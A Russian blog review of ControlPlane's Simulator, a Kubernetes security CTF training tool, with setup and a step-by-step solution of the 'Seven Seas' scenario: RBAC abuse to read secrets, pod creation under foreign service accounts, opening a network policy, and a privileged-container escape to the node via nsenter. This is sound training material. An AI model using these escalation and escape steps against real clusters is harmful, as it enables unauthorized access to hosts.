Обзор Simulator — платформы для обучения инженеров безопасности Kubernetes с помощью CTF-сценариев

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Всем привет! На связи Дмитрий Силкин, DevOps-инженер компании «Флант». Ранее мы делали обзор инструментов для оценки безопасности кластера Kubernetes. Но что, если нам нужно обучить инженеров основам безопасности Kubernetes на реальных примерах и поставить процесс обучения на поток? Недавно компания ControlPlane, специализирующаяся на Cloud Native-решениях, выложила в открытый доступ Simulator — инструмент для обучения инженеров поиску уязвимостей в Kubernetes. Мы во «Фланте» решили протестировать этот симулятор и понять, насколько он перспективен и полезен.

В этой статье я расскажу, зачем нужен этот инструмент, как его настроить и установить, а также разберу его возможности. Для этого я решу один из сценариев, который предлагает Simulator. В конце обзора я оставлю своё мнение об инструменте и расскажу о ближайших планах его авторов.

Что такое Simulator и зачем он нужен

Simulator задумывался как практический способ познакомить инженеров с безопасностью контейнеров и Kubernetes. То есть это инструмент, с помощью которого можно обучать инженеров работе с уязвимостями в Kubernetes. Сами авторы Simulator называют ближайшим аналогом проект KataCoda, однако на данный момент эта платформа закрыта. Также есть похожий инструмент kube_security_lab, но сейчас он практически не развивается.

Simulator развёртывает готовый кластер Kubernetes в вашей учётной записи AWS: запускает сценарии, которые неправильно настраивают его или делают его уязвимым, и обучает устранению этих уязвимостей. Это сценарии различной сложности формата Capture the Flag, в которых инженеру нужно набрать определённое количество флагов для выполнения задания. На данный момент существует девять сценариев, разработанных для Cloud Native Computing Foundation (CNCF). Можно создать и свой сценарий: для этого необходимо описать его в виде Ansible Playbook.

Сценарии направлены на то, чтобы убедиться, что стандартные средства безопасности настроены должным образом. Такая базовая настройка Kubernetes должна быть проведена ещё до того, как разработчики приложения получат доступ к системе. Поэтому в первую очередь этот инструмент создавался для инженеров по безопасности, которые занимаются защитой своей платформы. Но он будет полезен и другим специалистам, связанным с безопасностью приложений, работающих с Kubernetes: DevSecOps-инженерам, разработчикам приложений и т.д.

Как пользоваться Simulator

Разберём работу Simulator по следующим этапам:

  • настройка и установка;

  • развёртывание инфраструктуры;

  • выбор сценария;

  • игра;

  • удаление созданной инфраструктуры.

Настройка и установка

Вся работа происходит в AWS, поэтому нам понадобится аккаунт в облаке. Для начала скачиваем актуальную версию Simulator и выполняем следующие действия в нашем AWS-аккаунте:

  1. Создадим для тестовых целей отдельного пользователя controlplaneio-simulator.

  2. Назначим созданному пользователю AWS IAM Permissions, указанные в документации.

  3. Создадим пару ключей AWS_ACCESS_KEY_ID и AWS_SECRET_ACCESS_KEY. Сохраним их, так как далее их будет использовать Simulator.

  4. Назначим Default VPC в облаке. Если не сделать этого, Simulator будет сваливаться в ошибку при развёртывании инфраструктуры.

Теперь можно создать конфигурационный файл для Simulator. Для минимальной настройки нужно задать имя бакета S3, в котором будет храниться Terraform-state. Наш бакет будет называться simulator-terraform-state:

simulator config --bucket simulator-terraform-state

По умолчанию конфигурация появится в $HOME/.simulator.

Далее выполним следующие действия:

  1. Укажем регион и сохранённые ранее ключи, чтобы Simulator имел доступ к аккаунту AWS.

  2. Создадим бакет S3.

  3. Скачаем необходимые контейнеры (для этого на нашей машине должен быть предварительно установлен Docker).

  4. Создадим образы виртуальных машин AMI, на основании которых Simulator будет развёртывать кластер Kubernetes.

export AWS_REGION=eu-central-1
export AWS_ACCESS_KEY_ID=<ID>
export AWS_SECRET_ACCESS_KEY=<KEY>

simulator bucket create
simulator container pull

simulator ami build bastion
simulator ami build k8s

Развёртывание инфраструктуры

Теперь можно выполнить развёртывание инфраструктуры для выполнения сценариев. Это займёт около пяти минут:

simulator infra create

Кластер Kubernetes готов. В AWS появились следующие виртуальные машины:

Выбор сценария

Посмотрим доступные сценарии с помощью команды simulator scenario list:

Мы увидим таблицу с доступными сценариями. В ней можно найти идентификатор, имя, описание, категорию и сложность сценариев. На данный момент есть три уровня сложности: 

  • Easy — лёгкий. В таких сценариях по ходу выполнения заданий появляются подсказки, а инженеру достаточно базовых знаний об основных сущностях Kubernetes.

  • Medium — средний. Здесь появляются задания по таким сущностям, как Pod Security Admission, Kyverno и Cilium.

  • Complex — сложный. В этом случае даётся очень мало вводной информации, тут уже потребуются глубокие знания как о Kubernetes, так и о смежных технологиях: в некоторых сценариях используются Dex, Elasticsearch, Fluent Bit и прочее.

Игра

Чтобы разобрать, как работает Simulator, возьмём для примера один простой CTF-сценарий — Seven Seas. Для его установки вводим следующую команду, куда подставляем ID сценария:

simulator install seven-seas

Когда установка завершится, необходимо подключиться к кластеру как пользователь:

cd /opt/simulator/player
ssh -F simulator_config bastion

При входе получим приветственное сообщение:

При запуске сценария нам нужно разобраться, к каким ресурсам у нас есть доступ и что нам следует искать. Начнём с поиска по файловой системе. Из интересного — здесь существует домашняя директория пользователя swashbyter. Посмотрим, что в ней:

$ ls /home
swashbyter
$ cd /home/swashbyter
$ ls -alh
total 40K
drwxr-xr-x 1 swashbyter swashbyter 4.0K Feb 18 08:53 .
drwxr-xr-x 1 root       root       4.0K Aug 23 07:55 ..
-rw-r--r-- 1 swashbyter swashbyter  220 Aug  5  2023 .bash_logout
-rw-r--r-- 1 swashbyter swashbyter 3.5K Aug  5  2023 .bashrc
drwxr-x--- 3 swashbyter swashbyter 4.0K Feb 18 08:53 .kube
-rw-r--r-- 1 swashbyter swashbyter  807 Aug  5  2023 .profile
-rw-rw---- 1 swashbyter swashbyter  800 Aug 18  2023 diary.md
-rw-rw---- 1 swashbyter swashbyter  624 Aug 18  2023 treasure-map-1
-rw-rw---- 1 swashbyter swashbyter  587 Aug 18  2023 treasure-map-7

Здесь мы обратили внимание на три файла: diary.md, treasure-map-1 и treasure-map-7. Посмотрим содержимое файла diary.md:

В этом файле содержится задание. Нам нужно найти недостающие фрагменты treasure-map со второго по шестой. Получается, что treasure-map — это приватный SSH-ключ в формате Base64. Задача будет выполнена, если мы соберём все оставшиеся фрагменты в кластере, подключимся с помощью ключа к Royal Fortune и там найдём флаг. Также у нас есть подсказка, где указан путь, по которому нам надо проследовать:

На этой карте отмечены namespaces, по которым мы должны пройти, чтобы собрать все фрагменты.

Декодируем фрагмент, который у нас есть. Убедимся, что в нём действительно хранится часть ключа:

Идём дальше. Судя по printenv, мы находимся в контейнере:

$ printenv
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT=443
THE_WAY_PORT_80_TCP=tcp://10.105.241.164:80
HOSTNAME=fancy
HOME=/home/swashbyter
OLDPWD=/
THE_WAY_SERVICE_HOST=10.105.241.164
TERM=xterm
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
THE_WAY_SERVICE_PORT=80
THE_WAY_PORT=tcp://10.105.241.164:80
THE_WAY_PORT_80_TCP_ADDR=10.105.241.164
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_HOST=10.96.0.1
THE_WAY_PORT_80_TCP_PORT=80
PWD=/home/swashbyter
THE_WAY_PORT_80_TCP_PROTO=tcp

Попробуем получить список подов в текущем namespace:

$ kubectl get pods
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:arctic:swashbyter" cannot list resource "pods" in API group "" in the namespace "arctic"

Прав на это у нас нет, но мы выяснили, что сервисный аккаунт swashbyter находится в пространстве имён arctic, с которого и начинается наше путешествие. Посмотрим, какие у нас есть права в этом namespace:

$ kubectl auth can-i --list
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
namespaces                                      []                                     []               [get list]

Из интересного — у нас есть только права на просмотр namespaces в кластере:

$ kubectl get ns
NAME              STATUS   AGE
arctic            Active   51m
default           Active   65m
indian            Active   51m
kube-node-lease   Active   65m
kube-public       Active   65m
kube-system       Active   65m
kyverno           Active   51m
north-atlantic    Active   51m
north-pacific     Active   51m
south-atlantic    Active   51m
south-pacific     Active   51m
southern          Active   51m

Пройдёмся командой auth can-i --list в пространстве имён north-atlantic, так как он следующий по пути. Вдруг у нас там есть дополнительные права:

$ kubectl auth can-i --list -n north-atlantic
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
namespaces                                      []                                     []               [get list]
secrets                                         []                                     []               [get list]

Здесь у нас есть права на просмотр Secrets. В одном из них находится treasure-map-2:

$ kubectl get secrets -n north-atlantic
NAME             TYPE     DATA   AGE
treasure-map-2   Opaque   1      59m
$ kubectl get secrets -n north-atlantic treasure-map-2 -o yaml
apiVersion: v1
data:
treasure-map-2: VHlSWU1OMzRaSkEvSDlBTk4wQkZHVTFjSXNvSFYwWGpzanVSZi83V0duY2tWY1lBcTNMbzBCL0ZaVFFGWm41Tk1OenE5UQplejdvZ1RyMmNLalNXNVh5VlBsdmdnc0Q5dHJ4ZkFoOSttNEN3cWpBMWN0c1RBVG1pQUZxVzJxNU1KSG51bXNrSGZBUzFvCkY5RWF3ZEExNkJQRFF3U3Rma2pkYS9rQjNyQWhDNWUrYlFJcUZydkFpeFUramh3c2RRVS9MVitpWjZYUmJybjBUL20wZTQKUytGT2t6bDhUTkZkOTFuK01BRFd3dktzTmd6TXFWZkwwL1NXRGlzaXM0U2g1NFpkYXB0VVM2MG5rTUlnWDNzUDY1VUZYRQpESWpVSjkzY1F2ZkxZMFc0ZWVIcllhYzJTWjRqOEtlU0g4d2ZsVFVveTg4T2NGbDdmM0pQM29KMU1WVkZWckg4TDZpTlNMCmNBQUFkSXp5cWlVczhxb2xJQUFBQUhjM05vTFhKellRQUFBZ0VBc05vd1A4amxGZUIrUUEzTGY1bkREa3pBODA5OW9PTzIKOGU3bEdlVHNrNjFtRGpRa3JIc1FneGt4YjBRcEJVTW9leGl2Y3BLWGt3bStuU0x4YmpVbjVJVzhURlloL3lneWtXOFViTQ==
kind: Secret
metadata:
creationTimestamp: "2024-02-18T08:50:11Z"
name: treasure-map-2
namespace: north-atlantic
resourceVersion: "1973"
uid: f2955e2a-47a7-4f99-98db-0acff328cd7f
type: Opaque

Сохраним его, он нам понадобится позже.

Двигаемся дальше. Теперь посмотрим доступные права в пространстве имен south-atlantic:

$ kubectl auth can-i --list -n south-atlantic
Resources                                       Non-Resource URLs                      Resource Names   Verbs
pods/exec                                       []                                     []               [create delete get list patch update watch]
pods                                            []                                     []               [create delete get list patch update watch]
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
namespaces                                      []                                     []               [get list]
serviceaccounts                                 []                                     []               [get list]

Здесь у нас есть права на просмотр, создание подов и управление ими, а также на чтение сервисных аккаунтов. Проверим наличие подов и сервисных аккаунтов:

$ kubectl get pods -n south-atlantic
No resources found in south-atlantic namespace.
$ kubectl get sa -n south-atlantic
NAME      SECRETS   AGE
default   0         63m
invader   0         63m

Подов в namespace нет, но есть сервисный аккаунт invader. Попробуем создать под в этом namespace, который запустится под этим сервисным аккаунтом. Возьмем образ kubectl из репозитория разработчиков инструмента. Опишем манифест и применим его:

apiVersion: v1
kind: Pod
metadata:
  name: invader
  namespace: south-atlantic
spec:
  serviceAccountName: invader
  containers:
  - image: docker.io/controlplaneoffsec/kubectl:latest
    command: ["sleep", "2d"]
    name: tools
    imagePullPolicy: IfNotPresent
    securityContext:
      allowPrivilegeEscalation: false

Exec’ом проникнем в контейнер и посмотрим, что у него есть в файловой системе:

kubectl exec -it -n south-atlantic invader sh
Defaulted container "blockade-ship" out of: blockade-ship, tools
/ # ls
bin         dev         home        media       opt         root        sbin        sys         usr
contraband  etc         lib         mnt         proc        run         srv         tmp         var

Здесь вызывает интерес папка contraband — проверим, что в ней лежит:

/ # ls contraband/
treasure-map-3
/ # cat contraband/treasure-map-3

Там находится третий фрагмент — сохраним его. Вместе с blockade-ship также создался sidecar-контейнер tools. Попробуем зайти в него. Здесь есть утилита kubectl, и мы знаем, что следующий пункт путешествия — southern-ocean. Проверим права на него:

$ kubectl exec -it -n south-atlantic invader -c tools bash
root@invader:~# kubectl auth can-i --list -n southern
Resources                                       Non-Resource URLs                      Resource Names   Verbs
pods/exec                                       []                                     []               [create]
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
pods                                            []                                     []               [get list]

Примерно такие же права, как в предыдущем namespace. Значит, надо посмотреть поды в namespace и выполнить exec. Далее смотрим файловую систему на наличие фрагмента карты. После поиска по файловой системе, видим, что существует директория /mnt/.cache. Поищем в ней четвёртый фрагмент. Здесь есть — сохраним:

root@invader:~# kubectl exec -it -n southern whydah-galley bash
root@whydah-galley:/# ls -alh /mnt
total 12K
drwxr-xr-x  3 root root 4.0K Feb 18 08:50 .
drwxr-xr-x  1 root root 4.0K Feb 18 08:50 ..
drwxr-xr-x 13 root root 4.0K Feb 18 08:50 .cache
root@whydah-galley:~# cd /mnt/.cache/
root@whydah-galley:/mnt/.cache# ls -alhR | grep treasur
-rw-r--r-- 1 root root  665 Feb 18 08:50 treasure-map-4
-rw-r--r--  1 root root   89 Feb 18 08:50 treasure-chest

Следующая точка — indian. Посмотрим, какие у нас там есть разрешения:

root@whydah-galley:/mnt/.cache# kubectl auth can-i --list -n indian
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
networkpolicies.networking.k8s.io               []                                     []               [get list patch update]
configmaps                                      []                                     []               [get list]
namespaces                                      []                                     []               [get list]
pods                                            []                                     []               [get list]
services                                        []                                     []               [get list]
pods/log                                        []                                     []               [get]

В indian мы уже можем смотреть и configmaps, и даже логи подов. Пройдём по уже знакомой схеме: сначала проверим, какие поды запущены в namespace. Потом посмотрим логи пода, что за сервисы там есть, а также содержимое configmaps:

root@whydah-galley:/mnt/.cache# kubectl get pods -n indian
NAME               READY   STATUS    RESTARTS   AGE
adventure-galley   1/1     Running   0          114m
root@whydah-galley:/mnt/.cache# kubectl logs -n indian adventure-galley
2024/02/18 08:51:08 starting server on :8080
root@whydah-galley:/mnt/.cache# kubectl get svc -n indian
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)    AGE
crack-in-hull   ClusterIP   10.99.74.124   <none>        8080/TCP   115m
root@whydah-galley:/mnt/.cache# kubectl get cm -n indian options -o yaml
apiVersion: v1
data:
  action: |
    - "use"
    - "fire"
    - "launch"
    - "throw"
  object: |
    - "digital-parrot-clutching-a-cursed-usb"
    - "rubber-chicken-with-a-pulley-in-the-middle"
    - "cyber-trojan-cracking-cannonball"
    - "hashjack-hypertext-harpoon"
kind: ConfigMap
root@whydah-galley:/mnt/.cache# curl -v crack-in-hull.indian.svc.cluster.local:8080
* processing: crack-in-hull.indian.svc.cluster.local:8080
*   Trying 10.99.74.124:8080...

Пока непонятно, что делать с содержимым configmap, поэтому пойдём дальше. Видим, что сервер запущен на порте 8080, но почему-то при обращении к сервису мы не получаем ответ. Может быть, есть правила, ограничивающие доступ по этому порту?

root@whydah-galley:/mnt/.cache# kubectl get networkpolicies -n indian
NAME       POD-SELECTOR            AGE
blockade   ship=adventure-galley   116m
root@whydah-galley:/mnt/.cache# kubectl get networkpolicies -n indian blockade -o yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  creationTimestamp: "2024-02-18T08:50:15Z"
  generation: 1
  name: blockade
  namespace: indian
  resourceVersion: "2034"
  uid: 9c97e41c-6f77-4666-a3f3-39112f502f84
spec:
  ingress:
  - from:
    - podSelector: {}
  podSelector:
    matchLabels:
      ship: adventure-galley
  policyTypes:
  - Ingress

Да, здесь есть ограничивающее правило. Оно запрещает все входящие соединения в поды, у которых есть лейбл ship: adventure-galley. Поэтому нужно разрешить входящий трафик:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  creationTimestamp: "2024-02-18T08:50:15Z"
  generation: 3
  name: blockade
  namespace: indian
  resourceVersion: "20773"
  uid: 9c97e41c-6f77-4666-a3f3-39112f502f84
spec:
  ingress:
  - {}
  podSelector:
    matchLabels:
      ship: adventure-galley
  policyTypes:
  - Ingress

Теперь сервер отдаёт нам HTML-страницу на порте 8080:

root@whydah-galley:/mnt/.cache# curl crack-in-hull.indian.svc.cluster.local:8080

<!DOCTYPE html>
<html>
<head>
  <h3>Adventure Galley</h3>
  <meta charset="UTF-8" />
</head>
<body>
  <p>You see a weakness in the Adventure Galley. Perform an Action with an Object to reduce the pirate ship to Logs.</p>
<div>
  <form method="POST" action="/">
    <input type="text" id="Action" name="a" placeholder="Action"><br>
    <input type="text" id="Object" name="o" placeholder="Object"><br>
    <button>Enter</button>
  </form>
</div>
</body>
</html>

Сервер предлагает нам отправлять POST-запросы в виде пар «действие — объект». Какое-то из этих действий в итоге приведёт к тому, что в логе приложения появятся новые сообщения. Как раз здесь нам пригодится содержимое configmap, полученное в одном из предыдущих шагов:

apiVersion: v1
data:
  action: |
    - "use"
    - "fire"
    - "launch"
    - "throw"
  object: |
    - "digital-parrot-clutching-a-cursed-usb"
    - "rubber-chicken-with-a-pulley-in-the-middle"
    - "cyber-trojan-cracking-cannonball"
    - "hashjack-hypertext-harpoon"
kind: ConfigMap

В данном configmap представлены объекты, над которыми можно совершить различные действия: «использовать», «сжечь», «запустить» и «бросить».

Попробуем применить каждое действие к каждому объекту с помощью bash-скрипта:

root@whydah-galley:/mnt/.cache# A=("use" "fire" "launch" "throw"); O=("digital-parrot-clutching-a-cursed-usb" "rubber-chicken-with-a-pulley-in-the-middle" "cyber-trojan-cracking-cannonball" "hashjack-hypertext-harpoon"); for a in "{O[@]}"; do curl -X POST -d "a=o" http://crack-in-hull.indian.svc.cluster.local:8080/; done; done
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
DIRECT HIT! It looks like something fell out of the hold.
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT

На каждый POST-запрос веб-сервер adventure-galley отдавал ответ об «эффективности» запроса. В итоге все запросы, кроме одного, не вызвали никакого эффекта. Может быть, приложение что-то записало в свой лог? Давайте посмотрим:

root@whydah-galley:/mnt/.cache# kubectl logs -n indian adventure-galley
2024/02/18 08:51:08 starting server on :8080
2024/02/18 10:58:36 treasure-map-5: qm9IZskNawm5JCxuntCHg2...

Adventure-galley отдал нам пятый фрагмент карты. Остался последний регион — south-pacific. Как всегда, сначала проверим права в данном namespace:

root@whydah-galley:/mnt/.cache# kubectl auth can-i --list -n south-pacific
Resources                                       Non-Resource URLs                      Resource Names   Verbs
pods/exec                                       []                                     []               [create]
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
deployments.apps                                []                                     []               [get list create patch update delete]
namespaces                                      []                                     []               [get list]
pods                                            []                                     []               [get list]
serviceaccounts                                 []                                     []               [get list]

Из интересного: у нас есть права на управление жизненным циклом deployment. Проверим, какой сервисный аккаунт есть в данном namespace и запустим deployment под ним:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: invader
  labels:
    app: invader
  namespace: south-pacific
spec:
  selector:
    matchLabels:
      app: invader
  replicas: 1
  template:
    metadata:
      labels:
        app: invader
    spec:
      serviceAccountName: port-finder
      containers:
      - name: invader
        image: docker.io/controlplaneoffsec/kubectl:latest
        command: ["sleep", "2d"]
        imagePullPolicy: IfNotPresent

Попробуем создать deployment из манифеста. В этот раз запустить сущность не получилось из-за нарушения политик Pod Security Standards. Deployment при этом создался:

root@whydah-galley:~# kubectl apply -f deploy.yaml
Warning: would violate PodSecurity "restricted:latest": allowPrivilegeEscalation != false (container "invader" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "invader" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "invader" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "invader" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost")
deployment.apps/invader created
root@whydah-galley:~# kubectl get deployments -n south-pacific
NAME      READY   UP-TO-DATE   AVAILABLE   AGE
invader   0/1     0            0           2m33s

Включим в манифест требуемые securityContexts и seccomp profile и применим его.

Забегая вперёд

Образ, который будет использоваться на последнем шаге, должен иметь установленные kubectl, jq, ssh. Так как контейнер будет запускаться с правами обычного пользователя, возможности их поставить вручную не будет.

Предупреждений по безопасности больше нет, и invader запустился:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: invader
  labels:
    app: invader
  namespace: south-pacific
spec:
  selector:
    matchLabels:
      app: invader
  replicas: 1
  template:
    metadata:
      labels:
        app: invader
    spec:
      serviceAccountName: port-finder
      securityContext:
        seccompProfile:
          type: RuntimeDefault
      containers:
      - name: invader
        image: lawellet/simulator-invader:1.0.0
        command: ["sleep", "2d"]
        imagePullPolicy: IfNotPresent
        securityContext:
          allowPrivilegeEscalation: false
          capabilities:
            drop:
            - "ALL"
          runAsNonRoot: true
          runAsUser: 1000
          runAsGroup: 2000


root@whydah-galley:~# kubectl get pods -n south-pacific
NAME                       READY   STATUS    RESTARTS   AGE
invader-7db84dccd4-5m6g2   1/1     Running   0          29s

Зайдём в контейнер и проверим права используемого сервисного аккаунта на пространство имен south-pacific:

root@whydah-galley:~# kubectl exec -it -n south-pacific invader-7db84dccd4-5m6g2 bash
swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl auth can-i --list -n south-pacific
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get list]

Посмотрим Secrets: тут есть treasure-map-6 — последний недостающий фрагмент:

swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl get secrets -n south-pacific
NAME             TYPE     DATA   AGE
treasure-map-6   Opaque   1      178m
swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl get secrets -n south-pacific treasure-map-6 -o yaml
apiVersion: v1
data:
  treasure-map-6: c05iTlViNmxm…

Сохраним последний фрагмент и объединим найденные ранее части карты в один файл.

Последний пункт в нашем путешествии — это north-pacific. Проверяем права на одноимённый namespace:

swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl auth can-i --list -n north-pacific
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
services                                        []                                     []               [get list]

Кажется, что нам надо зайти на сервер по SSH, используя собранный на предыдущих шагах ключ:

swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl get svc -n north-pacific
NAME            TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)   AGE
plot-a-course   ClusterIP   10.111.116.224   <none>        22/TCP    3h10m

Создаём в этом контейнере собранный ключ и подключаемся с его помощью к целевой машине:

Теперь осталось только найти флаг. Для начала проверим, в контейнере ли мы находимся. Посмотрим список процессов:

Судя по тому, что мы видим процессы, запущенные на хосте, мы оказались в привилегированном контейнере. Попробуем теперь посмотреть Linux Capabilities, доступные контейнеру (предварительно установив capsh):

root@royal-fortune:/# apt update && apt-get install -y libcap2-bin
root@royal-fortune:~# capsh --print
Current: =ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore
Ambient set =
Current IAB:
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: UNCERTAIN (0)

Наш процесс имеет все возможные Linux Capabilities. Значит, мы можем попробовать зайти в Host PID Namespace:

root@royal-fortune:~# nsenter -t 1 -i -u -n -m bash
root@master-1:/#

И в итоге мы оказались на узле. Здесь же находится наш финальный флаг. Сценарий завершён:

root@master-1:/# ls -al /root
total 32
drwx------  4 root root 4096 Feb 18 12:58 .
drwxr-xr-x 19 root root 4096 Feb 18 08:33 ..
-rw-------  1 root root   72 Feb 18 12:58 .bash_history
-rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
drwx------  2 root root 4096 Feb 15 15:47 .ssh
-rw-r--r--  1 root root   41 Feb 18 08:50 flag.txt
drwx------  4 root root 4096 Feb 15 15:48 snap
root@master-1:/# cat /root/flag.txt
flag_ctf{TOTAL_MASTERY_OF_THE_SEVEN_SEAS}

В ходе выполнения заданий мы работали со следующими сущностями Kubernetes:

  • Kubernetes Secrets;

  • container images;

  • Pod Security Standards;

  • network policy;

  • pod logs;

  • service accounts;

  • RBAC;

  • sidecar containers;

Разобранный сценарий наглядно показывает: если некорректно распределить роли (выдали прав больше, чем нужно для работы приложения) на сервисные аккаунты, а также использовать привилегированные контейнеры, это может привести к возможности побега из контейнера и попадания на хост.

Удаление созданной инфраструктуры

Осталось удалить созданную инфраструктуру:

simulator infra destroy

Эта команда удалит виртуальные машины, на которых был развёрнут кластер Kubernetes.

Если больше пользоваться Simulator мы не планируем, также нужно удалить AMI-образы и бакет с terraform-state:

simulator ami delete bastion
simulator ami delete simulator-master
simulator ami delete simulator-internal
simulator bucket delete simulator-terraform-state

Итоги

Simulator от ControlPlane — относительно новый инструмент, и у создателей на него большие планы. В будущем они хотят реализовать ещё больше CTF-сценариев, добавить возможность развёртывать необходимую инфраструктуру локально с помощью kind, а также развивать интерактивность процесса обучения: мультиплеер, сохранение активности игроков, таблица лидеров и так далее. 

Нам же данная платформа показалась очень интересной и перспективной для обучения всевозможным эксплойтам и уязвимостям в кластере Kubernetes, и мы обязательно будем следить за её развитием.

P. S.

Читайте также в нашем блоге:

  • Обзор инструментов для оценки безопасности кластера Kubernetes: kube-bench и kube-hunter

  • Стандарты безопасности в Kubernetes (обзор и видео доклада)

  • Разворачиваем приложение в кластере Kubernetes под управлением Deckhouse c помощью werf

  • Ценности как инструмент принятия сложных решений: как мы упрощаем взаимодействие команд и приходим к единому мнению

Источник: https://habr.com/ru/companies/flant/articles/798599/


Интересные статьи

Интересные статьи

Несколько месяцев назад коллеги, работающие с одним из кластеров Kubernetes в dev-окружении, обратились с проблемой недоступности API-сервера Kubernetes. Dev-среды обычно не подключены к дежурной смен...
Пока педагоги бьют в колокол, опасаясь, что ChatGPT порушит систему образования, они сами ломают её изнутри популярным нейромифом о доминирующем стиле обучения. Опросник Высшей школы экономики по...
«Меня удручает ваш уровень кибербезопасности» Краткая сводка: GPT-3 обнаружила 213 уязвимостей безопасности в git-репозитории. Для сравнения: один из лучших коммерческих инструментов на рынке (ра...
В данной статье предлагаю вам обзор ERP, созданной на основе Drupal 9 для зооклиники «Зоостатус» ( кстати сайт у них тоже сделан на Drupal 9, был переход с Bitrix, но уже совсем другая история). Цел...
В 2021 мы выпустили больше 100 материалов, и большинство из них — о переезде инженеров за границу и карьере в IT-индустрии. Собрали статьи, которые больше всего понравились аудитории Хабра, в одну под...